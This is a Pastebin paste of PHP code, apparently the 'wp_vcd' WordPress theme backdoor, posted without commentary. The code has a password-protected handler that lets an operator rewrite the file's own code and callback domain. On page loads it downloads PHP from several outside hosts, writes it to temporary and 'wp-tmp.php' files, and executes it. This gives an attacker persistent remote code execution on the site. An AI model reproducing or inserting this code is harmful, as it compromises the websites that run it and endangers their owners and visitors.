Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2019
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.56 KB | None | 0 0
  1. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '9a54bb908e6bf58f1fbd5cecd42ed4a7'))
  2.     {
  3. $div_code_name="wp_vcd";
  4.         switch ($_REQUEST['action'])
  5.             {
  6.  
  7.                
  8.  
  9.  
  10.  
  11.  
  12.                 case 'change_domain';
  13.                     if (isset($_REQUEST['newdomain']))
  14.                         {
  15.                            
  16.                             if (!empty($_REQUEST['newdomain']))
  17.                                 {
  18.                                                                            if ($file = @file_get_contents(__FILE__))
  19.                                                                             {
  20.                                                                                                  if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
  21.                                                                                                              {
  22.  
  23.                                                                                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  24.                                                                                        @file_put_contents(__FILE__, $file);
  25.                                                                print "true";
  26.                                                                                                              }
  27.  
  28.  
  29.                                                                             }
  30.                                 }
  31.                         }
  32.                 break;
  33.  
  34.                                 case 'change_code';
  35.                     if (isset($_REQUEST['newcode']))
  36.                         {
  37.                            
  38.                             if (!empty($_REQUEST['newcode']))
  39.                                 {
  40.                                                                            if ($file = @file_get_contents(__FILE__))
  41.                                                                             {
  42.                                                                                                  if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
  43.                                                                                                              {
  44.  
  45.                                                                                        $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  46.                                                                                        @file_put_contents(__FILE__, $file);
  47.                                                                print "true";
  48.                                                                                                              }
  49.  
  50.  
  51.                                                                             }
  52.                                 }
  53.                         }
  54.                 break;
  55.                
  56.                 default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  57.             }
  58.            
  59.         die("");
  60.     }
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69. $div_code_name = "wp_vcd";
  70. $funcfile      = __FILE__;
  71. if(!function_exists('theme_temp_setup')) {
  72.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  73.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  74.        
  75.         function file_get_contents_tcurl($url)
  76.         {
  77.             $ch = curl_init();
  78.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  79.             curl_setopt($ch, CURLOPT_HEADER, 0);
  80.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  81.             curl_setopt($ch, CURLOPT_URL, $url);
  82.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  83.             $data = curl_exec($ch);
  84.             curl_close($ch);
  85.             return $data;
  86.         }
  87.        
  88.         function theme_temp_setup($phpCode)
  89.         {
  90.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  91.             $handle   = fopen($tmpfname, "w+");
  92.            if( fwrite($handle, "<?php\n" . $phpCode))
  93.            {
  94.            }
  95.             else
  96.             {
  97.             $tmpfname = tempnam('./', "theme_temp_setup");
  98.            $handle   = fopen($tmpfname, "w+");
  99.             fwrite($handle, "<?php\n" . $phpCode);
  100.             }
  101.             fclose($handle);
  102.            include $tmpfname;
  103.            unlink($tmpfname);
  104.            return get_defined_vars();
  105.        }
  106.        
  107.  
  108. $wp_auth_key='5a2bf2adbe7b2cd42684793efd6a4c9b';
  109.        if (($tmpcontent = @file_get_contents("http://www.tanons.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.tanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  110.  
  111.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  112.                 extract(theme_temp_setup($tmpcontent));
  113.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  114.                
  115.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  116.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  117.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  118.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  119.                     }
  120.                 }
  121.                
  122.             }
  123.         }
  124.        
  125.        
  126.         elseif ($tmpcontent = @file_get_contents("http://www.tanons.me/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  127.  
  128. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  129.                 extract(theme_temp_setup($tmpcontent));
  130.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  131.                
  132.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  133.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  134.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  135.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  136.                     }
  137.                 }
  138.                
  139.             }
  140.         } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  141.             extract(theme_temp_setup($tmpcontent));
  142.            
  143.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  144.             extract(theme_temp_setup($tmpcontent));
  145.  
  146.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  147.             extract(theme_temp_setup($tmpcontent));
  148.  
  149.         } elseif (($tmpcontent = @file_get_contents("http://www.tanons.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.tanons.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  150.             extract(theme_temp_setup($tmpcontent));
  151.  
  152.         }
  153.        
  154.        
  155.        
  156.        
  157.        
  158.     }
  159. }
  160.  
  161. //$start_wp_theme_tmp
  162.  
  163.  
  164.  
  165. //wp_tmp
  166.  
  167.  
  168. //$end_wp_theme_tmp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement